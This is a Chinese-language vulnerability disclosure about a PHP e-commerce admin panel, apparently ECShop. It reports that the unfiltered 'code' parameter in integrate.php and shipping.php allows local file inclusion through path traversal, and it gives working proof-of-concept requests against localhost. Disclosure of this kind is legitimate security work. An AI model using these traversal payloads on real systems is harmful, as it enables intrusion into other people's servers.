### 简要描述:
整套程序当中对于某函数未做任何过滤........导致.......你猜.........
求礼物
### 详细说明:
第一个存在\admin\integrate.php文件中(其实还有好多,我找了两个代表的就提交了)
[](https://images.seebug.org/upload/201307/07001532251cfe359c4bb15a6e249bee65bff3ba.png)
code通过post提交未过滤
第二个存在\admin\shipping.php
[](https://images.seebug.org/upload/201307/07003453fb950198a7aa24c12826b2e1ec98dcbc.png)
code通过get提交
### 漏洞证明:
我在根目录下有一个2.php文件内容是phpinfo
url:http://127.0.0.1/ec/admin/integrate.php?act=save_uc_config
post:code=..%2F..%2F..%2F2
[](https://images.seebug.org/upload/201307/07002304c761719aedb294c6d0ee934c69ca194e.png)
[](https://images.seebug.org/upload/201307/070023151cf3fbfce8e499b6495ac8a2dc4ec5d8.png)
post提交后复制返回内容保存到一个html文件中,打开
[](https://images.seebug.org/upload/201307/07002424bc465ffa8108572b90ce14772a9ede01.png)
----------------------------------------------------------------------------------
get方式的是
url:http://127.0.0.1/ec/admin/shipping.php?act=install&code=../../../2
[](https://images.seebug.org/upload/201307/070038493bd1c42eebac8966fd4f6488ddd98008.png)